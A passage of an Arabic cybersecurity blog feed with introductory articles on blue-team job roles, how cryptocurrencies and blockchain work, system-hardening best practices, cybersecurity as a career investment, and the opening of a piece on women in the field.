إدارة الهوية: هذه المهمة تُعنى بإنشاء هويات المستخدمين الرقمية، مع تحديد السمات والصفات الرئيسية لكل هوية.
إدارة الوصول (الصلاحيات): تحديد ما هو ممنوع وما هو مسموح لكل مستخدم.
الأمان: التأكد من أن جميع المستخدمين ملتزمين بالضوابط الأمنية، كاختيار كلمات سر قوية وتفعيل المصادقة الثنائية.
تقييم الصلاحيات: التأكد من أن كل مستخدم يعمل ضمن الصلاحيات المسموحة ورصد جميع الحالات الشاذة.

6.الاستجابة للحوادث الأمنية Incident Handling and Response

هذا التخصص هو جزء أساسي في الأمن السيبراني ويُعنى بتنفيذ التدابير والاستراتيجيات الفعالة للتعامل مع الاختراقات الأمنية. يعتبر خط الدفاع الأول للتصدي للهجمات الإلكترونية والتقليل من أضرارها. وتجدر الإشارة أن هذه المهمة ممكن أن تتم من قبل SOC Tier 2

بعض المهام الرئيسية

التواصل مع الفريق: عند حصول الاختراق يجب على المختص في هذا المجال أن يكون في تواصل مباشر ووثيق مع فريق الأمن السيبراني ومع فريق المعلوماتية في الشركة التي يعمل بها.
معرفة أدوار جميع الموظفين: هذا التخصص يتطلب معرفة واسعة بأدوار الموظفين و مسؤولياتهم.
وضع خطة استباقية لاحتواء الاختراق: رسم خطة واضحة وسريعة التنفيذ لتحديد الآلية التي يجب العمل بها عند حدوث الاختراق.
الاستجابة الفورية: في حال حدوث اختراق يجب على مٌستجيب الحوادث الأمنية أن يكون على أهب الاستعداد للاستجابة الفورية للاختراق مهما كان الوقت.
تقليل الضرر: تنص هذه المهمة على أنه في حال حصل الاختراق فإنه من الضروري تقليل الأضرار الناجمة إلى أعلى حد.
إعادة التأهيل: محاولة استرجاع الملفات التي حُذفت أو التي قد تم إتلافها نتيجة الاختراق وإعادة النظام لحالة العمل الطبيعية.
تحديد الأسباب الناجمة عن الاختراق و الحد منها: بعد حصول الاختراق، يقوم المُختص في هذا المجال بتحديد الثغرات التي أدت لحدوث الاختراق ويعمل على إغلاقها.

7.اصطياد واكتشاف التهديدات Threat Hunting

هذا التخصص يتطلب معرفة كبيرة جداً و مهارات استثنائية، لأنه يركز على اكتشاف التهديدات والثغرات الحاصلة في الشبكة أو في التطبيقات أو في أجهزة العقد النهائية (أجهزة المستخدمين – السيرفرات)، لاكتشاف التهديدات أو الهجمات التي تجاوزت أنظمة الحماية وتمكنت من الوصول للنظام.

بعض المهام الرئيسية

الفحص الدائم: يعمل على مراقبة البيئة بشكل دوري للبحث عن أي تهديد أو ثغرة أو اختراق لم يتم الكشف عنهم حتى الآن.
تحليل السجلات: يتم فحص جميع السجلات للكشف عن وجود أنماط غير اعتيادية.
مواكبة التطور: البحث والاطلاع على أحدث تقنيات الاختراق لمعرفة طريقة عملها والعمل على التصدي المسبق لها.
كتابة التقارير: إن هذا التخصص يركز على كتابة التقارير والتوصيات المقترحة لتعزيز أساليب الحماية وتطبيق أحدث وأقوى تقنيات التصدي للهجمات الإلكترونية.

8.استخبارات التهديد Threat Intelligence

يعتبر هذا التخصص من التخصصات الممتعة جداً لمحبي البحث و المراقبة وجمع المعلومات. يركز هذا التخصص على جمع المعلومات عن المهاجمين ومجموعات الاختراق أو المنظمات التي توظف أشخاص للقيام بالهجمات السيبرانية. هذه المعلومات تتضمن تفاصيل عن المخترقين وعناوين IP المستخدمة من قبلهم، بالإضافة لدوافعهم وأهدافهم وأساليبهم. يتم استخدام هذه المعلومات لاكتشاف الهجمات ومنعها بشكل استباقي.

بعض المهام الرئيسية

جمع المعلومات: يقوم المختصون في هذا المجال في البحث العميق وراء المخترقين، إن كان في المنتديات والمواقع ضمن الإنترنت المظلم Dark Web أو في المدونات، والبحث عن قواعد البيانات المسربة ومعلومات الاستخبارات مفتوحة المصدر OSINT المتعلقة بالاختراقات و المنظمات السيبرانية.
حماية المؤسسة: بعد البحث العميق وراء المخترقين، يقوم المختص في Threat Intelligence بتنفيذ التدابير الأمنية اللازمة على المؤسسة التي يعمل بها بناءً على المعلومات المستفادة التي قد تم التوصل إليها للوصول إلى أعلى نسبة حماية.
العمل مع الجهات الأخرى: في بعض الأحيان، وحسب توجهات الشركة أو المؤسسة التي يعمل بها هذا المُختص، يتم تبادل أحدث المعلومات التي قد تم التوصل لها مع الجهات الحليفة أو التي تسلك نفس سلوك المؤسسة، ويتم ربط جميع هذه المعلومات للخروج بمعلومات مفيدة.
البحث المستمر والتخفي: تركز هذه المهمة على البحث بشكل روتيني لكن من دون الكشف عن الهوية، ومحاولة البقاء أطول فترة ممكنة في بيئة المخترقين.

في النهاية

هذه هي أشهر مجالات عمل الأمن السيبراني ضمن الفريق الأزرق، ومن المهم أن تدرك بأن هذه الأدوار والمهام ممكن أن تختلف بين شركة وأخرى. بشكل عام يعتبر الفريق الأزرق المكان المناسب لتحصل من خلاله على أول فرصة عمل في مجال الأمن السيبراني، لتتعرف على أنظمة وعمليات الحماية المختلفة ولتمتلك التصور الكامل حول هذا المجال. بعد ذلك، يمكنك تغيير لون القبعة الخاصة بك.

لتبقى على اطلاع دائم بكل ما هو جديد في مجال الأمن السيبراني، انصحك بمتابعة صفحة المهندس جميل حسين طويلة على الفيسبوك.

أتمنى أن تكون هذه المعلومات مفيدة ومساعدة لك لكي تبدأ مسيرتك الاحترافية في هذه المجال.

العملات الرقمية – ماذا تعرف عنها؟

Sat, 27 Apr 2024 23:20:36 GMT

العملات الرقمية اللامركزية مثل البتكوين والإيثيريوم عملات افتراضية لا تصدرها جهة مركزية، بينما تصدر البنوك المركزية عملات رقمية مركزية (CBDCs). تعمل العملات المشفرة بتقنية البلوكشين القائمة على السجل الموزع وشبكة الند للند وآلية التوافق والتشفير، وتتأثر أسعارها بالأمان والتضخم والسياسة والإعلام والعرض والطلب والتعدين.

لا شك أنك من الأشخاص الذين سمعوا عن العملات الرقمية | Cryptocurrencies ، ففي عالم رقمي محاط بالتكنولوجيا السريعة ووسائل الإعلام بات الأمر مستحيلاً أن تغيب عنك هذه المعلومات.

في هذا المقال سنغوص في هذا العالم الرقمي وسنوضح لك المفاهيم العامة والخاصة في العملات المشفرة وسنقدم لك بعضاً من أهم النصائح والإرشادات ضمن هذه الساحة الافتراضية.

أولاً – الأشكال الرقمية للعملات

البنوك تتعامل مع حسابات أو سجلات رقمية للأفراد مع تمثيل رقمي للأموال وتخزينها وإدارتها بشكل إلكتروني ويتمثل هذا الأمر بنظام البطاقات المصرفية التقليدية لدى البنوك سواء بشكل محلي أو عالمي.

وبالتأكيد فإن هذه السجلات تكون خاضعة لرقابة البنك والدولة مع وجود وسيط (طرف ثالث Third Party) يكون مراقباً ومشرفاً على العمليات التي تتم ؛ مما يسمح بتتبع أنشطة الأفراد.
العملات الرقمية اللامركزية ( أو العملات المشفرة ) Cryptocurrencies هي عملات افتراضية غير ملموسة ولاتكون صادرة عن جهة مركزية كالبنوك المركزية وتكون على شكل سوق حر على الإنترنت لا يخضع لوسيط مشرف على العمليات التي تتم كما في البنوك العادية ولا تشرف ولا تؤثر عليها الحكومات بشكل مباشر.

مثل : البتكوين Bitcoin / الإيثيريوم Ethereum / سولانا Solana / لايتكوين Litecoin / وغيرها الكثير… يوجد حوالي أكثر من 6 آلاف عملة رقمية لامركزية.
العملات الرقمية المركزية Central Bank Digital Currencies (CBDCs) نوع جديد من العملات المشفرة، إنما هي صادرة عن البنوك المركزية وتكون مستقلة عن عملاتها الورقية، ينظم المصرف أو البنك آلية العمل بها وهي تساهم بتقييد المعاملات غير القانونية في الأصول المشفرة.

مثل : Enaira – العملة الرقمية المركزية لنيجيريا إن إطلاق ال (USD-CBDCs) في الولايات المتحدة لا يزال موضوعاً قيد الدراسة.

ثانياً – آلية عمل العملات الرقمية المشفرة

تعمل العملات المشفرة أساساً وفق تقنية واحدة وهي البلوكشين (Blockchain)

قد يكون الحال أنك سمعت عنها من قبل ، فما هي العناصر التي ترتكز عليها هذه التقنية …

الطرف (السجل) المُوزَّع Distributed Ledger تسمى أيضاً سجل التوزيع Shared Ledger كما يتضح من الاسم ذاته فهي طريقة مبتكرة وفريدة في هيكلة البيانات ؛ إذ أن سجلات البيانات بدلاً من تواجدها على جهاز حاسوب واحد مركزي كما هو المعتاد ؛ فإنه يتم توزيعها على شبكة من الحواسيب (العقد) المتصلة مع بعضها البعض (سنوضح هذه التفاصيل بشكل لاحق).

لهذا التقنية عدة استخدامات أبرزها في العملات الرقمية والعقود الذكية. (تعد العملات الرقمية المثال الأكثر شيوعاً عن العقود الذكية)
شبكة الند-للند Peer to Peer Network (P2P) وهي شبكة تقوم على مشاركة الملفات بين الأجهزة مباشرةً و/أو بشكل جماعي دون وجود خادم (Server) مركزي لتشغيل الشبكة. تتكون من عدد من الحواسيب (مئات أو ملايين) ، موزعة في جميع أنحاء العالم ، تتواصل مع بعضها البعض بنفس البروتوكولات ، مكونة بمجموعها شبكة كاملة مترابطة لتبادل البيانات.

تستخدم بروتوكولات LibP2P التي تعد ضرورية لبناء البلوكشين وهي مكتبة مفتوحة المصدر تشمل بروتوكولاتها على العديد من الوظائف ، أبرزها : اكتشاف العقدة وتحديدها ، التواصل مع العقدة ، نقل البيانات ، تخزين البيانات ونذكر أن عمليات هذه البروتوكولات تتم بشكل لامركزي.
آلية التوافق Consensus Mechanism وتسمى أيضاً ب خوارزميات الإجماع Consensus Algorithms / بروتوكولات الإجماع Consensus Protocols وهي العمليات التي من خلالها يتم التحقق من المعاملات والسجلات الصالحة وأيها غير الصالحة بواسطة مجموعة من النظراء أو العقد (peers ~ nodes) الموجودة على الشبكة. يوجد العديد منها ، إلا أن أشهرها هي : PoW و PoS تحافظ هذه الخوارزميات على أمان هيكل البلوكشين من التلاعب.
التشفير Cryptography يلعب التشفير الدور الأهم والأكبر في تقنية البلوكشين ، إذ يؤمن حماية البيانات والمعاملات بين العُقَدْ (Peers ~ Nodes) الموجودة على الشبكة.

ثالثاً – العوامل المؤثرة في العملات الرقمية

تسببت جائحة كورونا في أزمة اقتصادية على مستوى العالم وأدت إلى ركود في حركة السوق وتوقف التجارة والمعاملات المصرفية ؛ نتج عنها ارتفاع سعر العملات الرقمية بنسبة تتجاوز 1200% !

فما هي العوامل التي تؤثر على العملات المشفرة ؟

الأمان والحماية عندما يفكر أي شخص بالاستثمار أو التداول الرقمي ؛ فإن الفكرة الأولى التي ستتبادر على ذهنه هي عامل الأمان ؛ لذلك تنفق عليه المنصات مبالغ طائلة لأجل حماية منصاتها وبياناتها ومستخدميها من الغش والاحتيال والتلاعب ؛ مما يزيد الوثوقية لدى العميل في المنصة.
التضخم الاقتصادي إن أبسط مفهوم للتضخم هو الفرق بين أسعار سوق السلع بين اليوم والأمس ، يتعلق بالفوائد والضرائب ودخل الفرد ، أسعار النفط والغاز والذهب ، ومعدلات البطالة ، أي باختصار… جميع العوامل التي تؤثر في قيمة العملات الحقيقية في السوق وتجعلها أقل جاذبية ؛ تدفع الأفراد للاستثمار الرقمي. مثلاً.. تقارير الاحتياطي الفيدرالي الأمريكي في خفض قيمة الفائدة يتبعها ارتفاع أسعار العملات الرقمية والعكس صحيح.
التغيرات السياسية والعسكرية الحروب الاقتصادية والعسكرية بين الدول والتنافس في البورصات يسبب ركوداً في حركة السوق والإنتاج والتجارة والاقتصاد. مثلاً.. في الأزمة الاقتصادية عام 2008 استفادت الصين من هذا الركود محققةً أرباحاً ضخمة ونفس السيناريو تكرر في جائحة كوفيد-19 وفي المقابل تكبدت الولايات المتحدة خسارات اقتصادية كبيرة.
الأخبار ووسائل الإعلام يتأثر حكم الناس واتخاذ قراراتهم تبعاً للمعطيات التي لديهم والتي يستمدونها بشكل مباشرة من الضجيج الإعلامي على قنوات الأخبار ووسائل التواصل الاجتماعي وكذلك تصريحات المسؤولين العاملين في المنصات الرقمية أو المصارف المركزية في الاحتياطي الفيدرالي الأمريكي أو البنك المركزي الأوروبي.
العامل الزمني

“الوقت من بتكوين” ، قد تكون سمعت عن مقولة “الوقت من ذهب” لكن ماذا عن “الوقت من البتكوين” ؟

إن أي تأخير زمني قدره ثانية فقط سيكلف الملايين من العملاء عبر العالم أموالاً وخسارات هائلة ، لذلك السرعة ضرورية في هذا المجال ؛ لمعالجة البيانات وتسجيل المعاملات ويمكن تفقد سوق العملات الرقمية عبر الرابط ومراقبة تغيرات مؤشراته لحظة بلحظة لإدراك مدى أهمية الأمر..

التغير في العرض والطلب بسبب عمليات تنصيف البتكوين والتي تحدث مرة كل أربع سنوات تقريباً.

وهي العملية التي ينخفض فيها قيمة مكافأة تعدين الكتل الجديدة ؛ لأن طرح عملات بشكل كبير يؤدي لانخفاض قيمة العملة. من المتوقع أن يكون عدد عملات البتكوين في العالم 21M BTC مليون عملة بتكوين فقط.

من المتوقع أن يتوقف إنتاج عملات البتكوين بحلول عام 2140

مثلاً.. في إبريل عام 2024 جرى تنصيف للبتكوين رافقه قبل ذلك في 2023 زيادة من قيمة 5K$ إلى 70K$
عمليات التعدين وهي العملية التي يقوم بها المعدّنون (Miners) من أجل تأكيد المعاملات والإجراءات التي تتم في السلسلة ، وإضافتها إلى الكتلة ، أو إضافة كتل جديدة لسلسة البلوكشين.

كيف يتم التعدين (Mining)؟

بشكل مختصر تتلخّص العملية وفق الآتي : بدايةً يتم طلب المعاملة من قبل المستخدم العادي عبر الشبكة ، ثم يتم توزيع الطلب عبر شبكة البلوكشين إلى المعدّنين (Miners) هنا يأتي دور العتاد الحاسوبي ذو الكفاءة الأكبر ؛ إذ صاحب القوة الحاسوبية الأكبر والأقوى سيكون بالتأكيد الأسرع من أجل تنفيذ الخوارزمية و حل المعادلة الحسابية المعقدة والتي تسمى بالتجزئة (Hashing) أو خاصية التجزئة (Hashing Function).

يقوم هذا الحاسوب بالتحقق من جميع المعاملات الرقمية التي تمت في السلسلة وفي حالة صحة المعاملة ، يتم إضافة الكتلة إلى السلسلة أو دفتر الأستاذ العام ، وتصبح جزءاً منه بشكل دائم لا يمكن تغييرها أو حذفها.

قد يستعين المعدّنون بعتاد حاسوبي قوي ، أو يكونون على شكل مجموعات أو مدعومين من قبل شركاتهم ، وخاصة تلك التي تقدم خدمات الحوسبة السحابية.

رابعاً – الأمن السيبراني ومطورو البلوكشين (Cybersecurity & Blockchain Developers)

كون التعامل في الأسواق الرقمية يعد أمراً بالغ الحساسية والأهمية ؛ تزداد معه المخاطر بشكل طردي. ومع زيادة في قواعد البيانات أكثر فأكثر وتعقيدها وتشعبها ، يلزمها الحماية من المخاطر والثغرات الأمنية والهجمات السيبرانية والتصدي لها من محاولات السرقة والتلاعب والاختراق.

يعمل مطورو البلوكشين يداً بيد مع خبراء الأمن السيبراني في تأمين منصاتهم الرقمية وقواعد البيانات الكتلية ، سواء من تحليل الثغرات ، أو الاستجابة للحوادث الأمنية ، تطوير هيكلية البيانات من قبل مطوريها.

أخيراً..

إن التلاعب ببيانات سلسلة الكتل أمر صعب وهذا إن لم يكن مستحيلاً ، إذ تعدد طبقات الأمان في هيكليتها وآلية عملها يعزز كفائتها وحمايتها على الشبكة.

وفي النهاية.. يعد هذا المجال ترند العصر الحالي ، سريع التطور وضخم جداً وبشكل عام الأكثر تعقيداً ولكن الأفضل أماناً للبيانات والأفضل موثوقية في التعامل بآنٍ معاً

إذ عاملي الفعالية والوثوقية هما العاملين الأساسيين الذين يُجرى عليهم التطوير والتحسين بشكل مستمر يومياً في أي نظام تقني في عالم التكنولوجيا.

Cybersecurity Hardening النهج الاستباقي لحماية الأنظمة

Mon, 22 Apr 2024 08:55:07 GMT

Cybersecurity Hardening مجموعة ممارسات تهدف إلى تقليل سطح الهجوم على النظام وتقوية مقاومته للهجمات، وتشمل تشديد أنظمة التشغيل والسيرفرات والشبكات والسحابة. أبرز ممارساته تثبيت التحديثات وتقييد الصلاحيات وتعطيل الخدمات غير الضرورية والجدران النارية والتشفير والنسخ الاحتياطي والمراقبة وتوعية المستخدمين.

في عالم رقمي يزداد تعقيداً، أصبح الأمن السيبراني حاجة ضرورية أكثر من أي وقت مضى، في السنوات السابقة كانت معظم الشركات تعتبر الأمن السيبراني رفاهية ولا حاجة للاستثمار به ولكن مع ازدياد عدد التهديدات الإلكترونية وازدياد النشاط الإجرامي على شبكة الانترنت وتطور مهارات وأساليب مجرمي الانترنت أصبح من الضروري اتخاذ خطوات استباقية proactive لحماية أنظمتنا وبياناتنا

الأمن السيبراني في يومنا الحالي أصبح ضرورة وليس رفاهية

وهذا الأمر على جميع المستويات: على مستوى الأفراد والشركات وحتى على مستوى الدول

في هذا المقال، سنناقش مفهوم Cybersecurity Hardening وسنقدم لكم أفضل الممارسات الأمنية والخطوات العملية التي يجب تطبيقها على الأنظمة والشبكات لضمان الحماية الفعالة ضد التهديدات الأمنية الرقمية

تعتبر عملية Cybersecurity Hardening نهجاً شاملاً لتعزيز حماية أنظمة المعلومات من خلال مجموعة من الممارسات والتقنيات.

ما هو مفهوم Cybersecurity Hardening؟

كلمة “Hardening” يمكن ترجمتها بمعنى تشديد أو تأمين أو تقوية ويشير هذا المصطلح إلى مجموعة من الممارسات والإجراءات التي تهدف إلى تقليل سطح الهجوم على نظام ما وتحسين قدرته على مقاومة الهجمات الإلكترونية ويشمل على عدة أنواع:

Operating systems hardening
Servers hardening
Network hardening
Cloud hardening

تخيل ما سيحدث في حال تعرضك لهجوم إلكتروني، على المستوى الشخصي سيتم تشفير بياناتك ومنعك من الوصول لملفاتك وابتزازك وطلب فدية مالية منك وعلى مستوى الشركات سيتم تسريب معلومات العملاء ومواجهة مشاكل قانونية والتأثير على سمعة الشركة، كما أن العديد من الهجمات من الممكن أن تؤدي لإيقاف الأنظمة وبالتالي التأثير على استمرارية الأعمال.

توقف عن تخيل هذه الأمور السيئة، نحن هنا لمساعدتك ولن نسمح بالأمور لأن تصل لهذه المرحلة ولكن هذا الأمر يتطلب منك تخصيص بعض الوقت لتطبيق إجراءات الحماية الاستباقية لتجنب أو على الأقل للتقليل من احتمالية تعرضك للهجمات السيبرانية، إليك أفضل الممارسات والإجراءات الأمنية:

GOOD HARDENING AVOID YOU BAD INCIDENTS

أفضل الممارسات والإجراءات الأمنية

1. تثبيت التحديثات الأمنية بانتظام

الشركات المصنعة للأنظمة الإلكترونية تصدر بانتظام تحديثات لمعالجة الثغرات الأمنية المعروفة، تعتبر عملية تثبيت هذه التحديثات بشكل منتظم وبأسرع وقت ممكن أحد أهم إجراءات تشديد الحماية للأنظمة الإلكترونية.

2. تقييد امتيازات وصلاحيات المستخدمين

يجب منح المستخدمين فقط الامتيازات ومستوى الصلاحيات التي يحتاجونها لأداء وظائفهم ويساعد هذا الأمر على تقليل سطح الهجوم وفي حال تم اختراق أحد الموظفين يصبح من الصعب على المهاجمين استغلال امتيازات المستخدم للوصول إلى البيانات أو الموارد غير المصرح بها.

3. تعطيل الخدمات غير الضرورية

الخدمات غير الضرورية يمكن ان تشكل نقاط دخول إضافية للمهاجمين ولذلك يجب تعطيل أي خدمات غير مستخدمة على النظام، وبالأخص البرامج نادرة الاستخدام وهذا الأمر يساعد أيضاً في تقليل سطح الهجوم وتحسين أداء النظام وتوفير الطاقة والحفاظ على بياناتك بشكل آمن.

4. استخدام أنظمة وتقنيات الحماية

استخدام أنظمة وتقنيات الحماية مثل الجدران النارية Firewalls والتي تساعد على منع الوصول غير المصرح به إلى النظام, يجب إعداد جدار الحماية بشكل صحيح لمنع جميع الاتصالات غير المصرح بها على جميع الأنظمة ومصادر الشبكة.

5. استخدام تقنيات التحكم في الوصول (Access Control)

تقنيات التحكم في الوصول هي مجموعة من الإجراءات والسياسات التي تحدد من يمكنه الوصول إلى الموارد وتشمل هذه التقنيات قوائم التحكم في الوصول (ACLs) وقوائم التحكم الإلزامية (MACLs).

6. تشفير البيانات الحساسة

تشفير البيانات يساعد على الحماية من الوصول غير المصرح به، حيث يتم تحويل البيانات إلى شكل غير قابل للقراءة إلا باستخدام مفتاح فك التشفير الصحيح ويجب تشفير جميع البيانات الحساسة، مثل كلمات المرور والمعلومات المالية.

7. تثبيت مضاد الفيروسات وبرامج الحماية من البرامج الخبيثة

برامج مكافحة الفيروسات تساعد على اكتشاف ومنع وإزالة البرامج الضارة والخبيثة مثل الفيروسات وبرامج التجسس وبرامج الفدية واستخدامها يعتبر أمر ضروري ولكنه غير كافي، العديد من البرمجيات الخبيثة الجديدة تمتلك تقنيات للتخفي وتجاوز الحماية المطبقة من قبل أنظمة الحماية.

8. القيام بعملية النسخ الاحتياطي بشكل منتظم

وجود نسخ احتياطية حديثة يعتبر أمر مهم جداً للتعافي من هجوم إلكتروني والتأكد من استعادة النظام لحالته السابقة وهنا تجد الإشارة لضرورة عدم حفظ النسخ الاحتياطية على نفس السيرفر والتأكد من وجود النسخ في أماكن أخرى آمنة ويمكن الوصول لها بشكل سريع وقت الحاجة.

9. مراقبة النظام

حيث يجب مراقبة النظام بشكل مستمر بحثاً عن أي نشاط مشبوه، تعتبر هذه العملية أمر مهم جداً لاكتشاف أي نشاط مشبوه واتخاذ الإجراءات المطلوبة بأسرع وقت ممكن.

10. توعية المستخدمين

مهما بلغت قوة أنظمة وتقنيات الحماية التي تستخدمها يبقى العنصر البشري هو أكبر ثغرة بكل نظام، عندما يفشل المهاجم بتجاوز الحماية المطبقة يلجىء للقيام بهجمات الهندسة الاجتماعية من خلال استهداف الموظفين بطرق ذكية ومخادعة ليتمكن من اختراقهم والوصول لأجهزتهم أو معلوماتهم الحساسة ولهذا السبب تعتبر عملية توعية وتدريب الموظفين أمراً مهم جداً وتجد الإشارة أن هذه العملية يجب أن تتم بشكل دوري مع شرح لأحدث توجهات وأساليب المهاجمين ليمكن الموظفون من اكتشاف مثل هذا النوع من الهجمات وتجنب الوقوع كضحايا لها.

في النهاية

يجب على المنظمات والشركات أن تعمل على تقييم احتياجاتها الأمنية الخاصة وتنفيذ ممارسات تشديد الحماية المناسبة لها لضمان مستوى الحماية المطلوب وضمان استمرارية الأعمال.

عملية تشديد الحماية للأنظمة الإلكترونية Cybersecurity Hardening هي عملية مستمرة وتتطلب التحديث والتكيف مع التهديدات الإلكترونية المتطورة وهي الخطوة الأولى في أي برنامج حماية لضمان حماية البيانات والمعلومات من التهديدات الإلكترونية المتزايدة.

اتمنى لكم الأمن والسلامة في حياتكم الرقمية وإن كان لديكم أي استفسارات أو تعليقات حول هذا الموضوع، فلا تترددوا بالتواصل معي عبر التلغرام سأكون سعيد جداً بالرد على أي استفسار أو تعليق حول هذا الموضوع ولتبقوا على إطلاع دائم بكل ما هو جديد في عالم الأمن السيبراني، انصحكم بمتابعة صفحة المهندس جميل حسين طويلة على الفيسبوك.

الأمن السيبراني: استثمار لحماية المستقبل

Tue, 02 Apr 2024 12:13:14 GMT

الأمن السيبراني اليوم ضرورة وليس رفاهية، بسبب تزايد التهديدات الرقمية وأهمية البيانات وتطور أساليب الهجوم وتشديد قوانين حماية البيانات. وهو مستخدم في كل جوانب الحياة، من الصناعة والتجارة الإلكترونية والتعليم والرعاية الصحية إلى البنوك والطاقة والنقل والاتصالات، لذلك يعد أفضل استثمار للمستقبل.

في عصر التكنولوجيا الحديثة والتطور السريع لشبكة الإنترنت، أصبحت الهجمات السيبرانية مصدر تهديد للمعلومات والبيانات الحساسة للأفراد والمؤسسات والدول على حد سواء.

يعتبر مجال الأمن السيبراني من أهم القضايا التي تشغل بال العديد من الأفراد والمؤسسات والشركات في جميع أنحاء العالم، يسعى خبراء الأمن السيبراني باستمرار إلى تطوير استراتيجيات وتقنيات متقدمة للوقاية من الهجمات الإلكترونية وحماية البيانات الحساسة؛ في هذا السياق تعتبر التوعية بأهمية الأمن السيبراني وتبني الممارسات الآمنة على الإنترنت ضرورة ملحة لضمان سلامة المعلومات والحفاظ على خصوصية الأفراد والمؤسسات في عصر رقمي متصل بشكل لا يسبق له مثيل.

في هذا المقال سنسلط الضوء على الأمن السيبراني كاستثمار لحماية المستقبل.

في البداية لنقم بالإجابة على السؤال التالي:

لماذا الأمن السيبراني؟

في البداية دعنا نتفق حول هذه الحقيقة:

“الأمن السيبراني في يومنا الحالي هو ضرورة وليس رفاهية”

هذا الأمر على كل المستويات، على مستوى الأفراد لحماية المعلومات الشخصية وحماية الهوية الرقمية وعلى مستوى الشركات لضمان استمراية الأعمال وحماية بيانات العملاء وحتى على مستوى الدول فقد أصبح الأمن السيبراني مرتبطاً بالأمن القومي للدول.

هذا الأمر مرتبط بعدة أسباب ومنها:

تزايد التهديدات الرقمية

مع تطور التكنولوجيا وانتشار استخدام الإنترنت والأجهزة الذكية، زادت التهديدات الأمنية الرقمية بشكل كبير وبالتالي، أصبح من الضروري تطوير وتعزيز قدرات الأمن السيبراني لحماية البيانات والأنظمة الحيوية.

أهمية البيانات والمعلومات

في عصرنا الحالي، تعتبر البيانات والمعلومات من أهم الموارد في مختلف القطاعات، بما في ذلك القطاع الصحي والمالي والحكومي ولهذا السبب يجب حماية هذه البيانات من التسريبات وعمليات الاختراق.

تطور تقنيات وأساليب الهجوم

مع تطور التكنلوجيا أصبحت الهجمات السيبرانية أكثر تطوراً وزادت صعوبة اكتشافها والتقليل من آثارها ولهذا السبب يتطلب مجال الأمن السيبراني استخدام تقنيات متقدمة وابتكارية لمواجهة هذه التهديدات.

تأثير الهجمات السيبرانية

تظهر تأثيرات الهجمات السيبرانية على المؤسسات والأفراد بشكل متزايد، مثل فقدان البيانات والتوقف عن العمل والخسائر المالية ولهذا السبب يجب تعزيز قدرات الأمن السيبراني للوقاية من هذه التأثيرات.

التشريعات والتنظيمات

يزداد اهتمام الحكومات والجهات التنظيمية بتشديد قوانين ولوائح حماية البيانات والخصوصية، مما يضع المزيد من التحديات أمام المؤسسات لتحقيق الامتثال وضمان سلامة وخصوصية بيانات العملاء.

لننتقل لحقيقة أخرى وهي:

“الأمن السيبراني مستخدم في كل جوانب وتفاصيل حياتنا اليومية”

إليك بعض أهم المجالات التي تعتمد في يومنا الحالي على الأمن السيبراني

الصناعة

يمكن استخدام تقنيات الأمن السيبراني في قطاع الصناعة لحماية أنظمة التحكم الصناعية والبيانات الحساسة المتعلقة بعمليات الإنتاج. يساعد الأمن السيبراني في تقليل مخاطر التعرض للاختراقات والتلاعب بالبيانات.

التجارة الإلكترونية

يلعب الأمن السيبراني دوراً حيوياً في حماية المعلومات الشخصية والبنكية للمستخدمين عبر منصات التجارة الإلكترونية ويساعد في تأمين عمليات الدفع عبر الإنترنت وضمان سلامة المعاملات التجارية.

التعليم

يمكن استخدام الأمن السيبراني في قطاع التعليم لحماية بيانات الطلاب والأساتذة وضمان سلامة التواصل والتعلم عبر الشبكة، كما يساهم في حماية الموارد التعليمية وضمان استمرارية عملية التعليم عن بُعد.

الرعاية الصحية

يلعب الأمن السيبراني دوراً حاسماً في قطاع الرعاية الصحية لحماية بيانات المرضى والتاريخ الطبي وضمان سرية المعلومات الطبية ويحافظ على سلامة نظام المعلومات الصحية ويقلل من خطر التهديدات السيبرانية.

الحكومة

تستخدم الحكومات تقنيات الأمن السيبراني لحماية بياناتها الحساسة وضمان سلامة أنظمتها وتشغيلها وتساهم استراتيجيات الأمن السيبراني في تقوية قدرة الحكومات على مواجهة التهديدات الإلكترونية والتجسس.

البنوك والمؤسسات المالية

يعتبر الأمن السيبراني أمر حيوي في قطاع البنوك والمؤسسات المالية لحماية بيانات العملاء والمعاملات المالية الحساسة ويساعد في تأمين عمليات الدفع والتحويلات الإلكترونية والتعامل مع التهديدات المتزايدة للجرائم المالية عبر الإنترنت.

الشركات والمؤسسات

يستخدم القطاع الخاص تقنيات الأمن السيبراني لحماية بياناته التجارية والملكية الفكرية وضمان سلامة الاتصالات والتعاملات داخل المؤسسة ويحافظ على سرية المعلومات التجارية ويقلل من خطر التسريبات التي تؤثر على سمعة الشركة.

الطاقة والبنية التحتية

يستخدم قطاع الطاقة والبنية التحتية تقنيات الأمن السيبراني لحماية الأنظمة من التهديدات السيبرانية التي يمكن أن تؤثر على استقرار البنية التحتية وتقليل كفاءة الخدمات ويساهم في تأمين شبكات الطاقة والاتصالات وضمان استمرارية التشغيل.

قطاع النقل

يستخدم قطاع النقل تقنيات الأمن السيبراني لحماية أنظمته المتصلة بالإنترنت، مثل أنظمة الملاحة والتحكم في المرور والأجهزة المتصلة بالشبكة ويضمن سلامة عمليات النقل ويقلل من خطر التدخل غيرالمصرح به.

قطاع الاتصالات

يلعب الأمن السيبراني دور أساسي في قطاع الاتصالات لحماية بيانات المشتركين وضمان سلامة شبكات الاتصالات وخدماتها ويسهم في تأمين التواصل وتقديم خدمات اتصال موثوقة وآمنة.

في النهاية

لكل هذه الأسباب يجب أن تبدأ الآن في مجال الأمن السيبراني كون هذا المجال يعتبر أفضل استثمار للمستقبل ولتبدأ بهذا المجال بشكل احترافي انصحك بالإطلاع على مكتبة الأمن السيبراني وموسوعة الأمن السيبراني ومتابعة صفحة المهندس جميل حسين طويلة على الفيسبوك.

دور المرأة في مجال الأمن السيبراني

Wed, 17 Jan 2024 09:02:18 GMT

قلة مشاركة النساء في الأمن السيبراني تعني مساحة كبيرة للنمو والتميز وفرص عمل ممتازة لمن تستمر وتعمل بجد. لتبدأ المرأة مسيرتها: التعليم والتدريب، واكتساب الخبرة العملية، والحصول على شهادات مثل Security+ وCEH، وبناء شبكة مهنية، والتطوير المستمر، وتشجيع نساء أخريات على دخول المجال.

تجسدت رغبتي الشديدة في الانضمام إلى مجال الأمن السيبراني، كوني مهندسة اتصالات تبحث عن التميز بشكل دائم، بدأت رحلتي في هذا المجال في عام 2022 عند إلتحاقي بدورة “Cyber Ops” لكني وجدت نفسي وحيدة مع فتاة واحدة فقط في هذه الدورة، كان معظم المتدربين من الشباب، كان لهذا الأمر تأثير سلبي على المتابعة ودراسة محتوى الدورة وبدأت إشارات الاستفهام تظهر لدي فيما إذا كان هذا المجال ليس مناسباً لنا نحن النساء.

